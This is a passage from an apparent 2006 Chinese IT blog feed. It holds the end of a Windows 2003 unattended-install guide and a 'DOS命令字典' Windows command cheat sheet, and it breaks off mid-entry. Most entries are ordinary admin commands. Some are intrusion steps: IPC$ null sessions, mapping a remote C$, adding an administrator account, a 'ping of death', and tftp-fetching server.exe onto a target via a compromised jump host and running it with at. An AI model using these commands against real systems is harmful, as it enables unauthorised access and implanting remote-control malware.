10.5pt">“unattend.bat”</span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial; mso-bidi-font-family: Arial; mso-bidi-font-size: 10.5pt">。</span><span lang="EN-US" style="FONT-FAMILY: Arial; mso-bidi-font-size: 10.5pt"><o:p></o:p></span></font></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 42pt; TEXT-INDENT: -21pt; mso-list: l0 level2 lfo1; tab-stops: list 42.0pt"><font size="2"><span lang="EN-US" style="FONT-FAMILY: Arial; mso-bidi-font-size: 10.5pt; mso-fareast-font-family: Arial"><span style="mso-list: Ignore">h)<span style="FONT: 7pt 'Times New Roman'">        </span></span></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial; mso-bidi-font-family: Arial; mso-bidi-font-size: 10.5pt">如果你未在向导中输入</span><span lang="EN-US" style="FONT-FAMILY: Arial; mso-bidi-font-size: 10.5pt">CD key</span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial; mso-bidi-font-family: Arial; mso-bidi-font-size: 10.5pt">，你就必须在安装过程中手工输入。或者在生成应答文件后，用记事本打开应答文件，找到</span><span lang="EN-US" style="FONT-FAMILY: Arial; mso-bidi-font-size: 10.5pt"><o:p></o:p></span></font></p><p class="code" style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 44.95pt; mso-char-indent-count: 4.28"><span lang="EN-US" style="FONT-SIZE: 10.5pt; COLOR: windowtext; FONT-FAMILY: Arial"><font size="2">ProductID=”xxxxx-xxxxx-xxxxx-xxxxx-xxxxx”<o:p></o:p></font></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 42pt"><font size="2"><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial; mso-bidi-font-family: Arial; mso-bidi-font-size: 10.5pt">用你真实的</span><span lang="EN-US" style="FONT-FAMILY: Arial; mso-bidi-font-size: 10.5pt">CD-key</span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial; mso-bidi-font-family: Arial; mso-bidi-font-size: 10.5pt">替换上面的</span><span lang="EN-US" style="FONT-FAMILY: Arial; mso-bidi-font-size: 10.5pt">x</span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial; mso-bidi-font-family: Arial; mso-bidi-font-size: 10.5pt">，然后将文件存为</span><span lang="EN-US" style="FONT-FAMILY: Arial; mso-bidi-font-size: 10.5pt">winnt.sif</span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: Arial; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-family: Arial; mso-bidi-font-size: 10.5pt">。</span><span lang="EN-US" style="FONT-FAMILY: Arial; mso-bidi-font-size: 10.5pt"><o:p></o:p></span></font></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 21pt; TEXT-INDENT: -21pt; mso-list: l0 level1 lfo1; tab-stops: list 21.0pt"><font size="2"><span lang="EN-US" style="FONT-FAMILY: Arial; mso-bidi-font-size: 10.5pt; mso-fareast-font-family: Arial"><span style="mso-list: Ignore">3.<span style="FONT: 7pt 'Times New Roman'">        </span></span></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: Arial; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-family: Arial; mso-bidi-font-size: 10.5pt">将</span><span lang="EN-US" style="FONT-FAMILY: Arial; mso-bidi-font-size: 10.5pt">unattend.txt</span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: Arial; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-family: Arial; mso-bidi-font-size: 10.5pt">改名为</span><span lang="EN-US" style="FONT-FAMILY: Arial; mso-bidi-font-size: 10.5pt">winnt.sif, </span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: Arial; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-family: Arial; mso-bidi-font-size: 10.5pt">并复制到软盘</span><span lang="EN-US" style="FONT-FAMILY: Arial; mso-bidi-font-size: 10.5pt">. </span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: Arial; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-family: Arial; mso-bidi-font-size: 10.5pt">当安装</span><span lang="EN-US" style="FONT-FAMILY: Arial; mso-bidi-font-size: 10.5pt">Windows 2003</span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: Arial; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-family: Arial; mso-bidi-font-size: 10.5pt">前</span><span lang="EN-US" style="FONT-FAMILY: Arial; mso-bidi-font-size: 10.5pt">, </span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: Arial; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-family: Arial; mso-bidi-font-size: 10.5pt">插入软盘便可以安装自动</span><span lang="EN-US" style="FONT-FAMILY: Arial; mso-bidi-font-size: 10.5pt">Windows 2003<o:p></o:p></span></font></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US" style="FONT-FAMILY: Arial; mso-bidi-font-size: 10.5pt"><o:p><font size="2"> </font></o:p></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><font size="2"><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: Arial; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-family: Arial; mso-bidi-font-size: 10.5pt">以下是</span><span lang="EN-US" style="FONT-FAMILY: Arial; mso-bidi-font-size: 10.5pt">answer file</span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial; mso-bidi-font-family: Arial; mso-bidi-font-size: 10.5pt">的一个范本：</span><span lang="EN-US" style="FONT-FAMILY: Arial; mso-bidi-font-size: 10.5pt"><o:p></o:p></span></font></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US" style="FONT-FAMILY: Arial; mso-bidi-font-size: 10.5pt"><font size="2">;SetupMgrTag<o:p></o:p></font></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US" style="FONT-FAMILY: Arial; mso-bidi-font-size: 10.5pt"><font size="2">[Data]<o:p></o:p></font></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US" style="FONT-FAMILY: Arial; mso-bidi-font-size: 10.5pt"><font size="2"><span style="mso-spacerun: yes">    </span>AutoPartition=1<o:p></o:p></font></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US" style="FONT-FAMILY: Arial; mso-bidi-font-size: 10.5pt"><font size="2"><span style="mso-spacerun: yes">    </span>MsDosInitiated="0"<o:p></o:p></font></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US" style="FONT-FAMILY: Arial; mso-bidi-font-size: 10.5pt"><font size="2"><span style="mso-spacerun: yes">    </span>UnattendedInstall="Yes"<o:p></o:p></font></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US" style="FONT-FAMILY: Arial; mso-bidi-font-size: 10.5pt"><o:p><font size="2"> </font></o:p></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US" style="FONT-FAMILY: Arial; mso-bidi-font-size: 10.5pt"><font size="2">[Unattended]<o:p></o:p></font></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US" style="FONT-FAMILY: Arial; mso-bidi-font-size: 10.5pt"><font size="2"><span style="mso-spacerun: yes">    </span>UnattendMode=FullUnattended<o:p></o:p></font></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US" style="FONT-FAMILY: Arial; mso-bidi-font-size: 10.5pt"><font size="2"><span style="mso-spacerun: yes">    </span>OemSkipEula=Yes<o:p></o:p></font></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US" style="FONT-FAMILY: Arial; mso-bidi-font-size: 10.5pt"><font size="2"><span style="mso-spacerun: yes">    </span>OemPreinstall=No<o:p></o:p></font></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US" style="FONT-FAMILY: Arial; mso-bidi-font-size: 10.5pt"><font size="2"><span style="mso-spacerun: yes">    </span>TargetPath=\WINDOWS<o:p></o:p></font></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US" style="FONT-FAMILY: Arial; mso-bidi-font-size: 10.5pt"><o:p><font size="2"> </font></o:p></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US" style="FONT-FAMILY: Arial; mso-bidi-font-size: 10.5pt"><font size="2">[GuiUnattended]<o:p></o:p></font></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US" style="FONT-FAMILY: Arial; mso-bidi-font-size: 10.5pt"><font size="2"><span style="mso-spacerun: yes">    </span>AdminPassword=*<o:p></o:p></font></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US" style="FONT-FAMILY: Arial; mso-bidi-font-size: 10.5pt"><font size="2"><span style="mso-spacerun: yes">    </span>EncryptedAdminPassword=NO<o:p></o:p></font></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US" style="FONT-FAMILY: Arial; mso-bidi-font-size: 10.5pt"><font size="2"><span style="mso-spacerun: yes">    </span>OEMSkipRegional=1<o:p></o:p></font></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US" style="FONT-FAMILY: Arial; mso-bidi-font-size: 10.5pt"><font size="2"><span style="mso-spacerun: yes">    </span>TimeZone=4<o:p></o:p></font></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US" style="FONT-FAMILY: Arial; mso-bidi-font-size: 10.5pt"><font size="2"><span style="mso-spacerun: yes">    </span>OemSkipWelcome=1<o:p></o:p></font></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US" style="FONT-FAMILY: Arial; mso-bidi-font-size: 10.5pt"><o:p><font size="2"> </font></o:p></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US" style="FONT-FAMILY: Arial; mso-bidi-font-size: 10.5pt"><font size="2">[UserData]<o:p></o:p></font></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US" style="FONT-FAMILY: Arial; mso-bidi-font-size: 10.5pt"><font size="2"><span style="mso-spacerun: yes">    </span>ProductKey=xxxxx-xxxxx-xxxxx-xxxxx-xxxxx</font></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US" style="FONT-FAMILY: Arial; mso-bidi-font-size: 10.5pt"><font size="2"><span style="mso-spacerun: yes">    </span>FullName="kiki"<o:p></o:p></font></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US" style="FONT-FAMILY: Arial; mso-bidi-font-size: 10.5pt"><font size="2"><span style="mso-spacerun: yes">    </span>OrgName="nckiki"<o:p></o:p></font></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US" style="FONT-FAMILY: Arial; mso-bidi-font-size: 10.5pt"><font size="2"><span style="mso-spacerun: yes">    </span>ComputerName=kiki-test1<o:p></o:p></font></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US" style="FONT-FAMILY: Arial; mso-bidi-font-size: 10.5pt"><o:p><font size="2"> </font></o:p></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US" style="FONT-FAMILY: Arial; mso-bidi-font-size: 10.5pt"><font size="2">[Display]<o:p></o:p></font></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US" style="FONT-FAMILY: Arial; mso-bidi-font-size: 10.5pt"><font size="2"><span style="mso-spacerun: yes">    </span>BitsPerPel=32<o:p></o:p></font></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US" style="FONT-FAMILY: Arial; mso-bidi-font-size: 10.5pt"><font size="2"><span style="mso-spacerun: yes">    </span>Xresolution=800<o:p></o:p></font></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US" style="FONT-FAMILY: Arial; mso-bidi-font-size: 10.5pt"><font size="2"><span style="mso-spacerun: yes">    </span>YResolution=600<o:p></o:p></font></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US" style="FONT-FAMILY: Arial; mso-bidi-font-size: 10.5pt"><o:p><font size="2"> </font></o:p></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US" style="FONT-FAMILY: Arial; mso-bidi-font-size: 10.5pt"><font size="2">[LicenseFilePrintData]<o:p></o:p></font></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US" style="FONT-FAMILY: Arial; mso-bidi-font-size: 10.5pt"><font size="2"><span style="mso-spacerun: yes">    </span>AutoMode=PerServer<o:p></o:p></font></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US" style="FONT-FAMILY: Arial; mso-bidi-font-size: 10.5pt"><font size="2"><span style="mso-spacerun: yes">    </span>AutoUsers=5<o:p></o:p></font></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US" style="FONT-FAMILY: Arial; mso-bidi-font-size: 10.5pt"><o:p><font size="2"> </font></o:p></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US" style="FONT-FAMILY: Arial; mso-bidi-font-size: 10.5pt"><font size="2">[Identification]<o:p></o:p></font></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US" style="FONT-FAMILY: Arial; mso-bidi-font-size: 10.5pt"><font size="2"><span style="mso-spacerun: yes">    </span>JoinWorkgroup=WORKGROUP<o:p></o:p></font></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US" style="FONT-FAMILY: Arial; mso-bidi-font-size: 10.5pt"><o:p><font size="2"> </font></o:p></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US" style="FONT-FAMILY: Arial; mso-bidi-font-size: 10.5pt"><font size="2">[Networking]<o:p></o:p></font></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US" style="FONT-FAMILY: Arial; mso-bidi-font-size: 10.5pt"><font size="2"><span style="mso-spacerun: yes">    </span>InstallDefaultComponents=Yes<o:p></o:p></font></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US" style="FONT-FAMILY: Arial"><o:p><font size="2"> </font></o:p></span></p></div></b>
				</span>
		</div>
<img src ="http://www.cnitblog.com/szdlinxie/aggbug/20713.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/szdlinxie/" target="_blank">szdlinxie</a> 2006-12-18 09:22 <a href="http://www.cnitblog.com/szdlinxie/archive/2006/12/18/20713.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>DOS命令字典</title><link>http://www.cnitblog.com/szdlinxie/archive/2006/12/18/20711.html</link><dc:creator>szdlinxie</dc:creator><author>szdlinxie</author><pubDate>Mon, 18 Dec 2006 01:16:00 GMT</pubDate><guid>http://www.cnitblog.com/szdlinxie/archive/2006/12/18/20711.html</guid><wfw:comment>http://www.cnitblog.com/szdlinxie/comments/20711.html</wfw:comment><comments>http://www.cnitblog.com/szdlinxie/archive/2006/12/18/20711.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/szdlinxie/comments/commentRss/20711.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/szdlinxie/services/trackbacks/20711.html</trackback:ping><description><![CDATA[
		<h1>DOS命令字典</h1>
		<p>
				<br />net use \\ip\ipc$ " " /user:" " 建立IPC空链接 <br />net use \\ip\ipc$ "密码" /user:"用户名" 建立IPC非空链接 <br />net use h: \\ip\c$ "密码" /user:"用户名" 直接登陆后映射对方C：到本地为H: <br />net use h: \\ip\c$ 登陆后映射对方C：到本地为H: <br />net use \\ip\ipc$ /del 删除IPC链接 <br />net use h: /del 删除映射对方到本地的为H:的映射 <br />net uｓer 用户名　密码　/add 建立用户 <br />net uｓer guest /active:yes 激活guest用户 <br />net uｓer 查看有哪些用户 <br />net uｓer 帐户名 查看帐户的属性 <br />net lｏcalgroup administrators 用户名 /add 把“用户”添加到管理员中使其具有管理员权限,注意：administrator后加s用复数 <br />net start 查看开启了哪些服务 <br />net start 服务名　 开启服务；(如:net start telnet， net start schedule) <br />net stop 服务名 停止某服务 <br />net time \\目标ip 查看对方时间 <br />net time \\目标ip /set 设置本地计算机时间与“目标IP”主机的时间同步,加上参数/yes可取消确认信息 <br />net view 查看本地局域网内开启了哪些共享 <br />net view \\ip 查看对方局域网内开启了哪些共享 <br />net config 显示系统网络设置 <br />net logoff 断开连接的共享 <br />net pause 服务名 暂停某服务 <br />net send ip "文本信息" 向对方发信息 <br />net ver 局域网内正在使用的网络连接类型和信息 <br />net share 查看本地开启的共享 <br />net share ipc$ 开启ipc$共享 <br />net share ipc$ /del 删除ipc$共享 <br />net share c$ /del 删除C：共享 <br />net uｓer guest 12345 用guest用户登陆后用将密码改为12345 <br />net password 密码 更改系统登陆密码 <br />netstat -a 查看开启了哪些端口,常用netstat -an <br />netstat -n 查看端口的网络连接情况，常用netstat -an <br />netstat -v 查看正在进行的工作 <br />netstat -p 协议名 例：netstat -p tcq/ip 查看某协议使用情况（查看tcp/ip协议使用情况） <br />netstat -s 查看正在使用的所有协议使用情况 <br />nbtstat -A ip 对方136到139其中一个端口开了的话，就可查看对方最近登陆的用户名（03前的为用户名）-注意：参数-A要大写 <br />tracert -参数 ip(或计算机名) 跟踪路由（数据包），参数：“-w数字”用于设置超时间隔。 <br />ping ip(或域名) 向对方主机发送默认大小为32字节的数据，参数：“-l[空格]数据包大小”；“-n发送数据次数”；“-t”指一直ping。 <br />ping -t -l 65550 ip 死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping) <br />ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址，ipconfig可用参数“/all”显示全部配置信息 <br />tlist -t 以树行列表显示进程(为系统的附加工具，默认是没有安装的，在安装目录的Support/tools文件夹内) <br />kill -F 进程名 加-F参数后强制结束某进程(为系统的附加工具，默认是没有安装的，在安装目录的Support/tools文件夹内) <br />del -F 文件名 加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件，/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的文件。例如“DEL/AR *.*”表示删除当前目录下所有只读文件，“DEL/A-S *.*”表示删除当前目录下除系统文件以外的所有文件<br /><br />#2 二：<br /><br />del /S /Q 目录 或用：rmdir /s /Q 目录 /S删除目录及目录下的所有子目录和文件。同时使用参数/Q 可取消删除操作时的系统确认就直接删除。（二个命令作用相同） <br />move 盘符\路径\要移动的文件名　存放移动文件的路径\移动后文件名 移动文件,用参数/y将取消确认移动目录存在相同文件的提示就直接覆盖 <br />fc one.txt two.txt &gt; 3st.txt 对比二个文件并把不同之处输出到3st.txt文件中，"&gt; "和"&gt; &gt;" 是重定向命令 <br />at id号 开启已注册的某个计划任务 <br />at /delete 停止所有计划任务，用参数/yes则不需要确认就直接停止 <br />at id号 /delete 停止某个已注册的计划任务 <br />at 查看所有的计划任务 <br />at \\ip time 程序名(或一个命令) /r 在某时间运行对方某程序并重新启动计算机 <br />finger username @host 查看最近有哪些用户登陆 <br />telnet ip 端口 远和登陆服务器,默认端口为23 <br />open ip 连接到IP（属telnet登陆后的命令） <br />telnet 在本机上直接键入telnet 将进入本机的telnet <br />copy 路径\文件名1　路径\文件名2 /y 复制文件1到指定的目录为文件2，用参数/y就同时取消确认你要改写一份现存目录文件 <br />copy c:\srv.exe \\ip\admin$ 复制本地c:\srv.exe到对方的admin下 <br />cppy 1st.jpg/b+2st.txt/a 3st.jpg 将2st.txt的内容藏身到1st.jpg中生成3st.jpg新的文件，注：2st.txt文件头要空三排，参数：/b指二进制文件，/a指ASCLL格式文件 <br />copy \\ip\admin$\svv.exe c:\ 或:copy\\ip\admin$\*.* 复制对方admini$共享下的srv.exe文件（所有文件）至本地C： <br />xcopy 要复制的文件或目录树　目标地址\目录名 复制文件和目录树，用参数/Y将不提示覆盖相同文件 <br />tftp -i 自己IP(用肉机作跳板时这用肉机IP) get server.exe c:\server.exe 登陆后，将“IP”的server.exe下载到目标主机c:\server.exe 参数：-i指以二进制模式传送，如传送exe文件时用，如不加-i 则以ASCII模式（传送文本文件模式）进行传送 <br />tftp -i 对方IP　put c:\server.exe 登陆后，上传本地c:\server.exe至主机 <br />ftp ip 端口 用于上传文件至服务器或进行文件操作，默认端口为21。bin指用二进制方式传送（可执行文件进）；默认为ASCII格式传送(文本文件时) <br />route print 显示出IP路由，将主要显示网络地址Network addres，子网掩码Netmask，网关地址Gateway addres，接口地址Interface <br />arp 查看和处理ARP缓存，ARP是名字解析的意思，负责把一个IP解析成一个物理性的MAC地址。arp -a将显示出全部信息 <br />start 程序名或命令 /max 或/min 新开一个新窗口并最大化（最小化）运行某程序或命令 <br />mem 查看cpu使用情况 <br />attrib 文件名(目录名) 查看某文件（目录）的属性 <br />attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存档，只读，系统，隐藏 属性；用＋则是添加为某属性 <br />dir 查看文件，参数：/Q显示文件及目录属系统哪个用户，/T:C显示文件创建时间，/T:A显示文件上次被访问时间，/T:W上次被修改时间 <br />date /t 、 time /t 使用此参数即“DATE/T”、“TIME/T”将只显示当前日期和时间，而不必输入新日期和时间 <br />set 指定环境变量名称=要指派给变量的字符 设置环境变量 <br />set 显示当前所有的环境变量 <br />set p(或其它字符) 显示出当前以字符p(或其它字符)开头的所有环境变量 <br />pause 暂停批处理程序，并显示出：请按任意键继续.... <br />if 在批处理程序中执行条件处理（更多说明见if命令及变量） <br />goto 标签 将cmd.exe导向到批处理程序中带标签的行（标签必须单独一行，且以冒号打头，例如：“：start”标签） <br />call 路径\批处理文件名 从批处理程序中调用另一个批处理程序 （更多说明见call /?） <br />for 对一组文件中的每一个文件执行某个特定命令（更多说明见for命令及变量） <br />echo on或off 打开或关闭echo，仅用echo不加参数则显示当前echo设置 <br />echo 信息 在屏幕上显示出信息 <br />echo 信息 &gt;&gt; pass.txt 将"信息"保存到pass.txt文件中 <br />findstr "Hello" aa.txt 在aa.txt文件中寻找字符串hello <br />find 文件名 查找某文件 <br />title 标题名字 更改CMD窗口标题名字 <br />color 颜色值 设置cmd控制台前景和背景颜色；0＝黑、1＝蓝、2＝绿、3＝浅绿、4＝红、5＝紫、6＝黄、7=白、8=灰、9=淡蓝、A＝淡绿、B=淡浅绿、C=淡红、D=淡紫、E=淡黄、F=亮白 <br />prompt 名称 更改cmd.exe的显示的命令提示符(把C:\、D:\统一改为：EntSky\ )<br /><br />#3 三：<br /><br />ver 在DOS窗口下显示版本信息 <br />winver 弹出一个窗口显示版本信息（内存大小、系统版本、补丁版本、计算机名） <br />format 盘符 /FS:类型 格式化磁盘,类型:FAT、FAT32、NTFS ,例：Format D: /FS:NTFS <br />md　目录名 创建目录 <br />replace 源文件　要替换文件的目录 替换文件 <br />ren 原文件名　新文件名 重命名文件名 <br />tree 以树形结构显示出目录，用参数-f 将列出第个文件夹中文件名称 <br />type 文件名 显示文本文件的内容 <br />more 文件名 逐屏显示输出文件 <br />doskey 要锁定的命令＝字符<br />doskey 要解锁命令= 为DOS提供的锁定命令(编辑命令行，重新调用win2k命令，并创建宏)。如：锁定dir命令：doskey dir=entsky (不能用doskey dir=dir)；解锁：doskey dir= <br />taskmgr 调出任务管理器 <br />chkdsk /F D: 检查磁盘D并显示状态报告；加参数/f并修复磁盘上的错误 <br />tlntadmn telnt服务admn,键入tlntadmn选择3，再选择8,就可以更改telnet服务默认端口23为其它任何端口 <br />exit 退出cmd.exe程序或目前，用参数/B则是退出当前批处理脚本而不是cmd.exe <br />path 路径\可执行文件的文件名 为可执行文件设置一个路径。 <br />cmd 启动一个win2K命令解释窗口。参数：/eff、/en 关闭、开启命令扩展；更我详细说明见cmd /? <br />regedit /s 注册表文件名 导入注册表；参数/S指安静模式导入，无任何提示； <br />regedit /e 注册表文件名 导出注册表 <br />cacls 文件名　参数 显示或修改文件访问控制列表（ACL）——针对NTFS格式时。参数：/D 用户名:设定拒绝某用户访问；/P 用户名:perm 替换指定用户的访问权限；/G 用户名:perm 赋予指定用户访问权限；Perm 可以是: N 无，R 读取， W 写入， C 更改(写入)，F 完全控制；例：cacls D:\test.txt /D pub 设定d:\test.txt拒绝pub用户访问。 <br />cacls 文件名 查看文件的访问用户权限列表 <br />REM 文本内容 在批处理文件中添加注解 <br />netsh 查看或更改本地网络配置情况<br /><br />#4 四：<br /><br />IIS服务命令： <br />iisreset /reboot 重启win2k计算机（但有提示系统将重启信息出现） <br />iisreset /start或stop 启动（停止）所有Internet服务 <br />iisreset /restart 停止然后重新启动所有Internet服务 <br />iisreset /status 显示所有Internet服务状态 <br />iisreset /enable或disable 在本地系统上启用（禁用）Internet服务的重新启动 <br />iisreset /rebootonerror 当启动、停止或重新启动Internet服务时，若发生错误将重新开机 <br />iisreset /noforce 若无法停止Internet服务，将不会强制终止Internet服务 <br />iisreset /timeout Val在到达逾时间（秒）时，仍未停止Internet服务，若指定/rebootonerror参数，则电脑将会重新开机。预设值为重新启动20秒，停止60秒，重新开机0秒。 <br />FTP 命令： (后面有详细说明内容) <br />ftp的命令行格式为:<br />ftp －v －d －i －n －g[主机名] －v 显示远程服务器的所有响应信息。<br />－d 使用调试方式。 <br />－n 限制ftp的自动登录,即不使用.netrc文件。<br />－g 取消全局文件名。 <br />help [命令] 或 ？[命令] 查看命令说明 <br />bye 或 quit 终止主机FTP进程,并退出FTP管理方式. <br />pwd 列出当前远端主机目录 <br />put 或 send 本地文件名 [上传到主机上的文件名] 将本地一个文件传送至远端主机中 <br />get 或 recv [远程主机文件名] [下载到本地后的文件名] 从远端主机中传送至本地主机中 <br />mget [remote-files] 从远端主机接收一批文件至本地主机 <br />mput local-files 将本地主机中一批文件传送至远端主机 <br />dir 或 ls [remote-directory] [local-file] 列出当前远端主机目录中的文件.如果有本地文件,就将结果写至本地文件 <br />ascii 设定以ASCII方式传送文件(缺省值) <br />bin 或 image 设定以二进制方式传送文件 <br />bell 每完成一次文件传送,报警提示 <br />cdup 返回上一级目录 <br />close 中断与远程服务器的ftp会话(与open对应) <br />open host[port] 建立指定ftp服务器连接,可指定连接端口 <br />delete 删除远端主机中的文件 <br />mdelete [remote-files] 删除一批文件 <br />mkdir directory-name 在远端主机中建立目录 <br />rename [from] [to] 改变远端主机中的文件名 <br />rmdir directory-name 删除远端主机中的目录 <br />status 显示当前FTP的状态 <br />system 显示远端主机系统类型 <br />user user-name [password] [account] 重新以别的用户名登录远端主机 <br />open host [port] 重新建立一个新的连接 <br />prompt 交互提示模式 <br />macdef 定义宏命令 <br />lcd 改变当前本地主机的工作目录,如果缺省,就转到当前用户的HOME目录 <br />chmod 改变远端主机的文件权限 <br />case 当为ON时,用MGET命令拷贝的文件名到本地机器中,全部转换为小写字母 <br />cd remote－dir 进入远程主机目录 <br />cdup 进入远程主机目录的父目录 <br />! 在本地机中执行交互shell，exit回到ftp环境,如!ls＊.zip<br /><br />#5 五：<br /><br />MYSQL 命令： <br />mysql -h主机地址 -u用户名 －p密码 连接MYSQL;如果刚安装好MYSQL，超级用户root是没有密码的。<br />（例：mysql -h110.110.110.110 -Uroot -P123456 <br />注:u与root可以不用加空格，其它也一样） <br />exit 退出MYSQL <br />mysqladmin -u用户名 -p旧密码 password 新密码 修改密码 <br />grant select on 数据库.* to 用户名@登录主机 identified by \"密码\"; 增加新用户。（注意：和上面不同，下面的因为是MYSQL环境中的命令，所以后面都带一个分号作为命令结束符） <br />show databases; 显示数据库列表。刚开始时才两个数据库：mysql和test。mysql库很重要它里面有MYSQL的系统信息，我们改密码和新增用户，实际上就是用这个库进行操作。 <br />use mysql；<br />show tables; 显示库中的数据表 <br />describe 表名; 显示数据表的结构 <br />create database 库名; 建库 <br />use 库名；<br />create table 表名 (字段设定列表)； 建表 <br />drop database 库名; <br />drｏp table 表名； 删库和删表 <br />delｅte from 表名; 将表中记录清空 <br />select * from 表名; 显示表中的记录 <br />mysqldump --opt school&gt;school.bbb 备份数据库：（命令在DOS的\\mysql\\bin目录下执行）;注释:将数据库school备份到school.bbb文件，school.bbb是一个文本文件，文件名任取，打开看看你会有新发现。 <br />win2003系统下新增命令（实用部份）： <br />shutdown /参数 关闭或重启本地或远程主机。<br />参数说明：/S 关闭主机，/R 重启主机， /T 数字 设定延时的时间，范围0～180秒之间， /A取消开机，/M //IP 指定的远程主机。<br />例：shutdown /r /t 0 立即重启本地主机（无延时） <br />taskill /参数 进程名或进程的pid 终止一个或多个任务和进程。<br />参数说明：/PID 要终止进程的pid,可用tasklist命令获得各进程的pid，/IM 要终止的进程的进程名，/F 强制终止进程，/T 终止指定的进程及他所启动的子进程。 <br />tasklist 显示当前运行在本地和远程主机上的进程、服务、服务各进程的进程标识符(PID)。<br />参数说明：/M 列出当前进程加载的dll文件，/SVC 显示出每个进程对应的服务，无参数时就只列出当前的进程。<br /><br />#6 六：<br /><br />Linux系统下基本命令： 要区分大小写 <br />uname 